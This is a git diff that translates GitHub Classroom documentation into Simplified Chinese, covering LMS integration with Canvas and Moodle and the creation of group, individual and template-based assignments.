+1. 配置外部工具。
+1. 提供您在 {% data variables.product.prodname_classroom %} 中生成的配置凭据。
+    - 消费者密钥
+    - 共享机密
+    - 启动 URL（有时称为“工具 URL”或类似名称）
 
-## Configuring Canvas
+## 配置 Canvas
 
-You can configure {% data variables.product.prodname_classroom %} as an external app for Canvas to import roster data into your classroom. For more information about Canvas, see the [Canvas website](https://www.instructure.com/canvas/).
+您可以将 {% data variables.product.prodname_classroom %} 配置为 Canvas 的外部应用以将名册数据导入到您的教室。 有关 Canvas 的更多信息，请参阅 [Canvas 网站](https://www.instructure.com/canvas/)。
 
-1. Sign into [Canvas](https://www.instructure.com/canvas/#login).
-1. Select the Canvas course to integrate with {% data variables.product.prodname_classroom %}.
-1. In the left sidebar, click **Settings**.
-1. Click the **Apps** tab.
-1. Click **View app configurations**.
-1. Click **+App**.
-1. Select the **Configuration Type** drop-down menu, and click **By URL**.
-1. Paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)."
+1. 登录到 [Canvas](https://www.instructure.com/canvas/#login)。
+1. 选择要与 {% data variables.product.prodname_classroom %} 集成的 Canvas 课程。
+1. 在左边栏中，单击 **Settings（设置）**。
+1. 单击 **Apps（应用程序）**选项卡。
+1. 单击 **View app configurations（查看应用程序配置）**。
+1. 单击 **+App**。
+1. 选择 **Configuration Type（配置类型）**下拉菜单，然后单击 **By URL（通过 URL）**。
+1. 从 {% data variables.product.prodname_classroom %} 粘贴配置凭据。 更多信息请参阅“[为教室生成配置凭据](#generating-configuration-credentials-for-your-classroom)”。
 
-    | Field in Canvas app configuration | Value or setting |
-    | :- | :- |
-    | **Consumer Key** | Consumer key from {% data variables.product.prodname_classroom %} |
-    | **Shared Secret** | Shared secret from {% data variables.product.prodname_classroom %} |
-    | **Allow this tool to access the IMS Names and Role Provisioning Service** | Enabled |
-    | **Configuration URL** | Launch URL from {% data variables.product.prodname_classroom %} |
+    | Canvas 应用程序配置中的字段         | 值或设置                                                     |
+    |:------------------------- |:-------------------------------------------------------- |
+    | **消费者密钥**                 | {% data variables.product.prodname_classroom %} 中的消费者密钥  |
+    | **共享秘密**                  | {% data variables.product.prodname_classroom %} 中的共享密钥   |
+    | **允许此工具访问 IMS 名称和角色预配服务** | 已启用                                                      |
+    | **配置 URL**                | {% data variables.product.prodname_classroom %} 中的启动 URL |
 
     {% note %}
 
-    **Note**: If you don't see a checkbox in Canvas labeled "Allow this tool to access the IMS Names and Role Provisioning Service", then your Canvas administrator must contact Canvas support to enable membership service configuration for your Canvas account. Without enabling this feature, you won't be able to sync the roster from Canvas. For more information, see [How do I contact Canvas Support?](https://community.canvaslms.com/t5/Canvas-Basics-Guide/How-do-I-contact-Canvas-Support/ta-p/389767) on the Canvas website.
+    **注意**: 如果您在 Canvas 中看不到名为“Allow this tool to access the IMS Names and Role Provisioning Service（允许此工具访问 IMS 名称和角色预配服务）”的复选框，则您的 Canvas 管理员必须联系 Canvas 支持，以为您的 Canvas 帐户启用会员服务配置。 如果不启用此功能，您将无法从 Canvas 同步名册。 更多信息请参阅 Canvas 网站上的[如何联系 Canvas 支持？](https://community.canvaslms.com/t5/Canvas-Basics-Guide/How-do-I-contact-Canvas-Support/ta-p/389767)。
 
     {% endnote %}
 
-1. Click **Submit**.
-1. In the left sidebar, click **Home**.
-1. To prompt Canvas to send a confirmation email, in the left sidebar, click **GitHub Classroom**. Follow the instructions in the email to finish linking {% data variables.product.prodname_classroom %}.
+1. 单击 **Submit（提交）**。
+1. 在左侧边栏中，单击 **Home（主页）**。
+1. 要提示 Canvas 发送确认电子邮件，请在左侧栏中单击 **GitHub Classroom**。 按照电子邮件中的说明完成链接 {% data variables.product.prodname_classroom %}。
 
-## Configuring Moodle
+## 配置 Moodle
 
-You can configure {% data variables.product.prodname_classroom %} as an activity for Moodle to import roster data into your classroom. For more information about Moodle, see the [Moodle website](https://moodle.org).
+您可以将 {% data variables.product.prodname_classroom %} 配置为 Moodle 的活动以将名册数据导入到您的教室。 有关 Moodle 的更多信息，请参阅 [Moodle 网站](https://moodle.org)。
 
-You must be using Moodle version 3.0 or greater.
+您必须使用 Moodle 版本 3.0 或更高版本。
 
-1. Sign into [Moodle](https://moodle.org/login/).
-1. Select the Moodle course to integrate with {% data variables.product.prodname_classroom %}.
-1. Click **Turn editing on**.
-1. Wherever you'd like {% data variables.product.prodname_classroom %} to be available in Moodle, click **Add an activity or resource**.
-1. Choose **External tool** and click **Add**.
-1. In the "Activity name" field, type "GitHub Classroom".
-1. In the **Preconfigured tool** field, to the right of the drop-down menu, click **+**.
-1. Under "External tool configuration", paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)."
+1. 登录 [Moodle](https://moodle.org/login/)。
+1. 选择要与 {% data variables.product.prodname_classroom %} 集成的 Moodle 课程。
+1. 单击 **Turn editing on（打开编辑）**。
+1. 当希望 {% data variables.product.prodname_classroom %} 在 Moodle 中可用时，单击 **Add an activity or resource（添加活动或资源）**。
+1. 选择 **External tool（外部工具）**并单击 **Add（添加）**。
+1. 在“Activity name（活动名称）”字段中，键入 "GitHub Classroom"。
+1. 在 **Preconfigured tool（预配置的工具）**字段的下拉菜单右侧，单击 **+**。
+1. 在“External tool configuration（外部工具配置）”下，从 {% data variables.product.prodname_classroom %} 粘贴配置凭据。 更多信息请参阅“[为教室生成配置凭据](#generating-configuration-credentials-for-your-classroom)”。
 
-    | Field in Moodle app configuration | Value or setting |
-    | :- | :- |
-    | **Tool name** | {% data variables.product.prodname_classroom %} - _YOUR CLASSROOM NAME_<br/><br/>**Note**: You can use any name, but we suggest this value for clarity. |
-    | **Tool URL** | Launch URL from {% data variables.product.prodname_classroom %} |
-    | **LTI version** | LTI 1.0/1.1 |
-    | **Default launch container** | New window |
-    | **Consumer key** | Consumer key from {% data variables.product.prodname_classroom %} |
-    | **Shared secret** | Shared secret from {% data variables.product.prodname_classroom %} |
+    | Moodle 应用程序配置中的字段 | 值或设置                                                                                                                              |
+    |:----------------- |:--------------------------------------------------------------------------------------------------------------------------------- |
+    | **工具名称**          | {% data variables.product.prodname_classroom %} - _YOUR CLASSROOM NAME_<br/><br/>**注意**：您可以使用任何名称，但为明确起见，我们建议使用这个值。 |
+    | **工具 URL**        | {% data variables.product.prodname_classroom %} 中的启动 URL                                                                          |
+    | **LTI 版本**        | LTI 1.0/1.1                                                                                                                       |
+    | **默认启动容器**        | 新窗口                                                                                                                               |
+    | **消费者密钥**         | {% data variables.product.prodname_classroom %} 中的消费者密钥                                                                           |
+    | **共享机密**          | {% data variables.product.prodname_classroom %} 中的共享密钥                                                                            |
 
-1. Scroll to and click **Services**.
-1. To the right of "IMS LTI Names and Role Provisioning", select the drop-down menu and click **Use this service to retrieve members' information as per privacy settings**.
-1. Scroll to and click **Privacy**.
-1. To the right of **Share launcher's name with tool** and **Share launcher's email with tool**, select the drop-down menus to click **Always**.
-1. At the bottom of the page, click **Save changes**.
-1. In the **Preconfigure tool** menu, click **GitHub Classroom - _YOUR CLASSROOM NAME_**.
-1. Under "Common module settings", to the right of "Availability", select the drop-down menu and click **Hide from students**.
-1. At the bottom of the page, click **Save and return to course**.
-1. Navigate to anywhere you chose to display {% data variables.product.prodname_classroom %}, and click the {% data variables.product.prodname_classroom %} activity.
+1. 滚动到 **Services（服务）**并单击。
+1. 在“IMS LTI Names and Role Provisioning（IMS LTI 名称和角色预配）”的右侧，选择下拉菜单并单击 **Use this service to retrieve members' information as per privacy settings（根据隐私设置使用此服务检索成员的信息）**。
+1. 滚动到 **Privacy（隐私）**并单击。
+1. 在 **Share launcher's name with tool（使用工具共享启动者的名称）**和 **Share launcher's email with tool（使用工具共享启动者的电子邮件）**右侧，选择下拉菜单以单击 **Always（始终）**。
+1. 在页面底部，单击 **Save changes（保存更改）**。
+1. 在 **Preconfigure tool（预配置工具）**菜单中，单击 **GitHub Classroom - _YOUR CLASSROOM NAME_**。
+1. 在“Common module settings（通用模块设置）”下“Availability（可用性）”的右侧，选择下拉菜单并单击 **Hide from students（对学生隐藏）**。
+1. 在页面底部，单击 **Save and return to course（保存并返回课程）**。
+1. 导航到您选择显示 {% data variables.product.prodname_classroom %} 的任何位置，然后单击 {% data variables.product.prodname_classroom %} 活动。
 
-## Importing a roster from your LMS
+## 从 LMS 导入名册
 
-For more information about importing the roster from your LMS into {% data variables.product.prodname_classroom %}, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)."
+有关从将名册从 LMS 导入到 {% data variables.product.prodname_classroom %} 的更多信息，请参阅“[管理教室](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)”。
 
-## Disconnecting your LMS
+## 断开 LMS 连接
 
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.click-settings %}
-1. Under "Connect to a learning management system (LMS)", click **Connection Settings**.
-  !["Connection settings" link in classroom settings](/assets/images/help/classroom/classroom-settings-click-connection-settings.png)
-1. Under "Delete Connection to your learning management system", click **Disconnect from your learning management system**.
-  !["Disconnect from your learning management system" button in connection settings for classroom](/assets/images/help/classroom/classroom-settings-click-disconnect-from-your-lms-button.png)
+1. 在“Connect to a learning management system (LMS)（连接到学习管理系统 [LMS]）”下，单击 **Connection Settings（连接设置）**。 ![教室设置中的"连接设置"链接](/assets/images/help/classroom/classroom-settings-click-connection-settings.png)
+1. 在“Delete Connection to your learning management system（删除与学习管理系统的连接）”下，单击 **Disconnect from your learning management system（断开与学习管理系统的连接）**。 ![教室连接设置中的"从学习管理系统断开连接"按钮](/assets/images/help/classroom/classroom-settings-click-disconnect-from-your-lms-button.png)
diff --git a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md
index 7654c97ba3..60220c20ae 100644
--- a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md
+++ b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md
@@ -1,114 +1,115 @@
 ---
-title: Create a group assignment
-intro: You can create a collaborative assignment for teams of students who participate in your course.
+title: 创建组分配
+intro: 您可以为参加您课程的学生团队创建协作作业。
 versions:
   fpt: '*'
-permissions: Organization owners who are admins for a classroom can create and manage group assignments for a classroom. {% data reusables.classroom.classroom-admins-link %}
+permissions: 'Organization owners who are admins for a classroom can create and manage group assignments for a classroom. {% data reusables.classroom.classroom-admins-link %}'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/create-group-assignments
   - /education/manage-coursework-with-github-classroom/create-a-group-assignment
 ---
-## About group assignments
 
-{% data reusables.classroom.assignments-group-definition %} Students can work together on a group assignment in a shared repository, like a team of professional developers.
+## 关于组分配
 
-When a student accepts a group assignment, the student can create a new team or join an existing team. {% data variables.product.prodname_classroom %} saves the teams for an assignment as a set. You can name the set of teams for a specific assignment when you create the assignment, and you can reuse that set of teams for a later assignment.
+{% data reusables.classroom.assignments-group-definition %} 学生可以像专业开发人员团队一样，在共享仓库中共同完成小组作业。
+
+当学生接受小组作业时，该学生可以创建新团队或加入现有团队。 {% data variables.product.prodname_classroom %} 将任务团队保存为集合。 您可以在创建作业时为特定作业指定一组团队，并且在后面的作业中可以重复使用该组团队。
 
 {% data reusables.classroom.classroom-creates-group-repositories %}
 
 {% data reusables.classroom.about-assignments %}
 
-You can decide how many teams one assignment can have, and how many members each team can have. Each team that a student creates for an assignment is a team within your organization on {% data variables.product.product_name %}. The visibility of the team is secret. Teams that you create on {% data variables.product.product_name %} will not appear in {% data variables.product.prodname_classroom %}. For more information, see "[About teams](/organizations/organizing-members-into-teams/about-teams)."
+您可以决定一个任务可以拥有多少个团队，以及每个团队可以拥有多少成员。 学生为作业创建的每个团队都是 {% data variables.product.product_name %} 上组织内的团队。 团队的可见性是秘密。 您在 {% data variables.product.product_name %} 上创建的团队不会出现在 {% data variables.product.prodname_classroom %} 中。 更多信息请参阅“[关于团队](/organizations/organizing-members-into-teams/about-teams)”。
 
-For a video demonstration of the creation of a group assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)."
+有关创建小组作业的视频演示，请参阅“[设置 {% data variables.product.prodname_classroom %} 的基本知识](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)”。
 
-## Prerequisites
+## 基本要求
 
 {% data reusables.classroom.assignments-classroom-prerequisite %}
 
-## Creating an assignment
+## 创建作业
 
 {% data reusables.classroom.assignments-guide-create-the-assignment %}
 
-## Setting up the basics for an assignment
+## 设置作业的基本信息
 
-Name your assignment, decide whether to assign a deadline, define teams, and choose the visibility of assignment repositories.
+指定作业的名称，决定是否分配截止时间，确定团队，并选择作业仓库的可见性。
 
-- [Naming an assignment](#naming-an-assignment)
-- [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment)
-- [Choosing an assignment type](#choosing-an-assignment-type)
-- [Defining teams for an assignment](#defining-teams-for-an-assignment)
-- [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories)
+- [指定作业名称](#naming-an-assignment)
+- [分配作业的截止时间](#assigning-a-deadline-for-an-assignment)
+- [选择作业类型](#choosing-an-assignment-type)
+- [确定作业的团队](#defining-teams-for-an-assignment)
+- [选择作业仓库的可见性](#choosing-a-visibility-for-assignment-repositories)
 
-### Naming an assignment
+### 指定作业名称
 
-For a group assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the name of the team. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the team's name on {% data variables.product.product_name %} is "student-team", the name of the assignment repository for members of the team will be `assignment-1-student-team`.
+对于小组作业，{% data variables.product.prodname_classroom %} 使用仓库前缀和团队名称对仓库命名。 默认情况下，仓库前缀是作业标题。 例如，如果将作业命名为 "assignment-1"，而团队在 {% data variables.product.product_name %} 上的名称是 "student-team"，则团队成员的作业仓库的名称将是 `assignment-1-student-team`。
 
 {% data reusables.classroom.assignments-type-a-title %}
 
-### Assigning a deadline for an assignment
+### 分配作业的截止时间
 
 {% data reusables.classroom.assignments-guide-assign-a-deadline %}
 
-### Choosing an assignment type
+### 选择作业类型
 
-Under "Individual or group assignment", select the drop-down menu, then click **Group assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a individual assignment, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)."
+在“Individual or group assignment（个人或小组作业）”下，选择下拉菜单，然后单击 **Group assignment（小组作业）**。 创建作业后不可更改作业类型。 如果要创建个人作业，请参阅“[创建个人作业](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)”。
 
-### Defining teams for an assignment
+### 确定作业的团队
 
-If you've already created a group assignment for the classroom, you can reuse a set of teams for the new assignment. To create a new set with the teams that your students create for the assignment, type the name for the set. Optionally, type the maximum number of team members and total teams.
+如果已为教室创建了小组作业，可以对新作业重复使用一组团队。 要使用学生为作业创建的团队创建一个新组，请输入组的名称。 （可选）键入团队成员和团队总数的最大数量。
 
 {% tip %}
 
-**Tips**:
+**提示**：
 
-- We recommend including details about the set of teams in the name for the set. For example, if you want to use the set of teams for one assignment, name the set after the assignment. If you want to reuse the set throughout a semester or course, name the set after the semester or course.
+- 我们建议在组的名称中包含有关该组团队的详细信息。 例如，如果要对某个作业使用团队组，请以作业命名该组。 如果要在整个学期或课程中重复使用该组，请以学期或课程命名该组。
 
-- If you'd like to assign students to a specific team, give your students a name for the team and provide a list of members.
+- 如果想将学生分配到特定团队，请为学生指定团队的名称并提供成员列表。
 
 {% endtip %}
 
-![Parameters for the teams participating in a group assignment](/assets/images/help/classroom/assignments-define-teams.png)
+![用于参与小组作业的团队的参数](/assets/images/help/classroom/assignments-define-teams.png)
 
-### Choosing a visibility for assignment repositories
+### 选择作业仓库的可见性
 
 {% data reusables.classroom.assignments-guide-choose-visibility %}
 
 {% data reusables.classroom.assignments-guide-click-continue-after-basics %}
 
-## Adding starter code and configuring a development environment
+## 添加起始代码并配置开发环境
 
 {% data reusables.classroom.assignments-guide-intro-for-environment %}
 
-- [Choosing a template repository](#choosing-a-template-repository)
-- [Choosing an integrated development environment (IDE)](#choosing-an-integrated-development-environment-ide)
+- [选择模板仓库](#choosing-a-template-repository)
+- [选择集成开发环境 (IDE)](#choosing-an-integrated-development-environment-ide)
 
-### Choosing a template repository
+### 选择模板仓库
 
-By default, a new assignment will create an empty repository for each team that a student creates. {% data reusables.classroom.you-can-choose-a-template-repository %} 
+默认情况下，新作业将为学生创建的每个团队创建一个空仓库。 {% data reusables.classroom.you-can-choose-a-template-repository %}
 
 {% data reusables.classroom.assignments-guide-choose-template-repository %}
 
-### Choosing an integrated development environment (IDE)
+### 选择集成开发环境 (IDE)
 
-{% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)."
+{% data reusables.classroom.about-online-ides %} 更多信息请参阅“[集成 {% data variables.product.prodname_classroom %} 与 IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)”。
 
 {% data reusables.classroom.assignments-guide-choose-an-online-ide %}
 
 {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %}
 
-## Providing feedback
+## 提供反馈
 
-Optionally, you can automatically grade assignments and create a space for discussing each submission with the team.
+（可选）您可以自动对作业进行分级，并创建一个空间，用于与团队讨论每个提交。
 
-- [Testing assignments automatically](#testing-assignments-automatically)
-- [Creating a pull request for feedback](#creating-a-pull-request-for-feedback)
+- [自动测试作业](#testing-assignments-automatically)
+- [为反馈创建拉取请求](#creating-a-pull-request-for-feedback)
 
-### Testing assignments automatically
+### 自动测试作业
 
 {% data reusables.classroom.assignments-guide-using-autograding %}
 
-### Creating a pull request for feedback
+### 为反馈创建拉取请求
 
 {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %}
 
@@ -116,26 +117,36 @@ Optionally, you can automatically grade assignments and create a space for discu
 
 {% data reusables.classroom.assignments-guide-click-create-assignment-button %}
 
-## Inviting students to an assignment
+## 邀请学生参加作业
 
 {% data reusables.classroom.assignments-guide-invite-students-to-assignment %}
 
-You can see the teams that are working on or have submitted an assignment in the **Teams** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %}
+您可以在作业的 **Teams（团队）**选项卡中查看正在处理或已提交作业的团队。 {% data reusables.classroom.assignments-to-prevent-submission %}
 
 <div class="procedural-image-wrapper">
-  <img alt="Group assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-group-hero.png">
+  <img alt="组分配" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-group-hero.png">
 </div>
 
-## Next steps
+## Monitoring students' progress
+The assignment overview page displays information about your assignment acceptances and team progress. You may have different summary information based on the configurations of your assignments.
 
-- After you create the assignment and your students form teams, team members can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and the team can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Repositories](/repositories)," "[Using Git](/github/getting-started-with-github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)," and the free course on [managing merge conflicts](https://lab.github.com/githubtraining/managing-merge-conflicts) from {% data variables.product.prodname_learning %}.
+- **Total teams**: The number of teams that have been created.
+- **Rostered students**: The number of students on the Classroom's roster.
+- **Students not on a team**: The number of students on the Classroom roster who have not yet joined a team.
+-  **Accepted teams**: The number of teams who have accepted this assignment.
+-  **Assignment submissions**: The number of teams that have submitted the assignment. Submission is triggered at the assignment deadline.
+-  **Passing teams**: The number of teams that are currently passing the autograding tests for this assignment.
 
-- When a team finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand how the team collaborated. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)."
+## 后续步骤
 
-- You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)."
+- 在创建作业和学生组成团队后，团队成员可以使用 Git 和 {% data variables.product.product_name %} 的功能开始处理作业。 学生可以克隆仓库、推送提交、管理分支、创建和审查拉取请求、解决合并冲突以及讨论议题的更改。 您和团队都可以审查仓库的提交历史记录。 更多信息请参阅“[{% data variables.product.prodname_dotcom %} 使用入门](/github/getting-started-with-github)”、“[仓库](/repositories)”、“[使用 Git](/github/getting-started-with-github/using-git)”和“[协作处理议题和拉取请求](/github/collaborating-with-issues-and-pull-requests)”，以及 {% data variables.product.prodname_learning %} 中的[管理合并冲突](https://lab.github.com/githubtraining/managing-merge-conflicts)课程。
 
-## Further reading
+- 当团队完成作业时，您可以查看仓库中的文件，或者查看仓库的历史和可视化内容，以更好地了解团队如何协作。 更多信息请参阅“[使用图表可视化仓库](/github/visualizing-repository-data-with-graphs)”。
 
-- "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)"
-- "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)"
-- [Using Existing Teams in Group Assignments?](https://education.github.community/t/using-existing-teams-in-group-assignments/6999) in the {% data variables.product.prodname_education %} Community
+- 您可以通过在拉取请求中评论个别提交或行来提供作业反馈。 更多信息请参阅“[评论拉取请求](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)”和“[从代码打开议题](/github/managing-your-work-on-github/opening-an-issue-from-code)”。 有关创建已保存回复以对常见错误提供反馈的信息，请参阅“[关于已保存回复](/github/writing-on-github/about-saved-replies)”。
+
+## 延伸阅读
+
+- "[在课堂和研究中使用 {% data variables.product.prodname_dotcom %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)"
+- "[将学习管理系统连接到 {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)"
+- {% data variables.product.prodname_education %} 社区中的[在小组作业中使用现有团队吗？](https://education.github.community/t/using-existing-teams-in-group-assignments/6999)
diff --git a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md
index 6e386bbbed..e3ee59fef4 100644
--- a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md
+++ b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md
@@ -1,19 +1,20 @@
 ---
-title: Create an assignment from a template repository
-intro: 'You can create an assignment from a template repository to provide starter code, documentation, and other resources to your students.'
-permissions: Organization owners who are admins for a classroom can create an assignment from a template repository that is public or owned by the organization. {% data reusables.classroom.classroom-admins-link %}
+title: 从模板仓库创建作业
+intro: 您可以从模板仓库创建作业，为学生提供起始代码、文档和其他资源。
+permissions: 'Organization owners who are admins for a classroom can create an assignment from a template repository that is public or owned by the organization. {% data reusables.classroom.classroom-admins-link %}'
 versions:
   fpt: '*'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/using-template-repos-for-assignments
   - /education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository
-shortTitle: Template repository
+shortTitle: 模板仓库
 ---
-You can use a template repository on {% data variables.product.product_name %} as starter code for an assignment on {% data variables.product.prodname_classroom %}. Your template repository can contain boilerplate code, documentation, and other resources for your students. For more information, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)."
 
-To use the template repository for your assignment, the template repository must be owned by your organization, or the visibility of the template repository must be public.
+您可以在 {% data variables.product.product_name %} 上使用模板仓库作为 {% data variables.product.prodname_classroom %} 上作业的起始代码。 模板仓库可包含学生的 boilerplate 代码、文档和其他资源。 更多信息请参阅“[创建模板仓库](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)”。
 
-## Further reading
+要将模板仓库用于作业，模板仓库必须由您的组织拥有，或者模板仓库的可见性必须是公共的。
 
-- "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)"
-- "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)"
+## 延伸阅读
+
+- "[创建个人作业](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)"
+- "[创建小组作业](/education/manage-coursework-with-github-classroom/create-a-group-assignment)"
diff --git a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md
index 085d2558c4..b0e6cfd5ec 100644
--- a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md
+++ b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md
@@ -1,15 +1,16 @@
 ---
-title: Create an individual assignment
-intro: You can create an assignment for students in your course to complete individually.
+title: 创建个人作业
+intro: 您可以为课程中的学生创建需单独完成的作业。
 versions:
   fpt: '*'
-permissions: Organization owners who are admins for a classroom can create and manage individual assignments for a classroom. {% data reusables.classroom.classroom-admins-link %}
+permissions: 'Organization owners who are admins for a classroom can create and manage individual assignments for a classroom. {% data reusables.classroom.classroom-admins-link %}'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/creating-an-individual-assignment
   - /education/manage-coursework-with-github-classroom/create-an-individual-assignment
-shortTitle: Individual assignment
+shortTitle: 个人作业
 ---
-## About individual assignments
+
+## 关于个人作业
 
 {% data reusables.classroom.assignments-individual-definition %}
 
@@ -17,78 +18,78 @@ shortTitle: Individual assignment
 
 {% data reusables.classroom.about-assignments %}
 
-For a video demonstration of the creation of an individual assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)."
+有关创建个人作业的视频演示，请参阅“[设置 {% data variables.product.prodname_classroom %} 的基本知识](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)”。
 
-## Prerequisites
+## 基本要求
 
 {% data reusables.classroom.assignments-classroom-prerequisite %}
 
-## Creating an assignment
+## 创建作业
 
 {% data reusables.classroom.assignments-guide-create-the-assignment %}
 
-## Setting up the basics for an assignment
+## 设置作业的基本信息
 
-Name your assignment, decide whether to assign a deadline, and choose the visibility of assignment repositories.
+指定作业的名称，决定是否分配截止时间，并选择作业仓库的可见性。
 
-- [Naming an assignment](#naming-an-assignment)
-- [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment)
-- [Choosing an assignment type](#choosing-an-assignment-type)
-- [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories)
+- [指定作业名称](#naming-an-assignment)
+- [分配作业的截止时间](#assigning-a-deadline-for-an-assignment)
+- [选择作业类型](#choosing-an-assignment-type)
+- [选择作业仓库的可见性](#choosing-a-visibility-for-assignment-repositories)
 
-### Naming an assignment
+### 指定作业名称
 
-For an individual assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the student's {% data variables.product.product_name %} username. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the student's username on {% data variables.product.product_name %} is @octocat, the name of the assignment repository for @octocat will be `assignment-1-octocat`.
+对于个人作业，{% data variables.product.prodname_classroom %} 使用仓库前缀和学生的 {% data variables.product.product_name %} 用户名对仓库命名。 默认情况下，仓库前缀是作业标题。 例如，如果您对作业 "assignment-1" 命名，学生在 {% data variables.product.product_name %} 上的用户名是 @octocat，则 @octocat 的作业仓库的名称将是 `assignment-1-octocat`。
 
 {% data reusables.classroom.assignments-type-a-title %}
 
-### Assigning a deadline for an assignment
+### 分配作业的截止时间
 
 {% data reusables.classroom.assignments-guide-assign-a-deadline %}
 
-### Choosing an assignment type
+### 选择作业类型
 
-Under "Individual or group assignment", select the drop-down menu, and click **Individual assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a group assignment, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)."
+在“Individual or group assignment（个人或小组作业）”下，选择下拉菜单，然后单击 **Individual assignment（个人作业）**。 创建作业后不可更改作业类型。 如果要创建小组作业，请参阅“[创建小组作业](/education/manage-coursework-with-github-classroom/create-a-group-assignment)”。
 
-### Choosing a visibility for assignment repositories
+### 选择作业仓库的可见性
 
 {% data reusables.classroom.assignments-guide-choose-visibility %}
 
 {% data reusables.classroom.assignments-guide-click-continue-after-basics %}
 
-## Adding starter code and configuring a development environment
+## 添加起始代码并配置开发环境
 
 {% data reusables.classroom.assignments-guide-intro-for-environment %}
 
-- [Choosing a template repository](#choosing-a-template-repository)
-- [Choosing an integrated development environment (IDE)](#choosing-an-integrated-development-environment-ide)
+- [选择模板仓库](#choosing-a-template-repository)
+- [选择集成开发环境 (IDE)](#choosing-an-integrated-development-environment-ide)
 
-### Choosing a template repository
+### 选择模板仓库
 
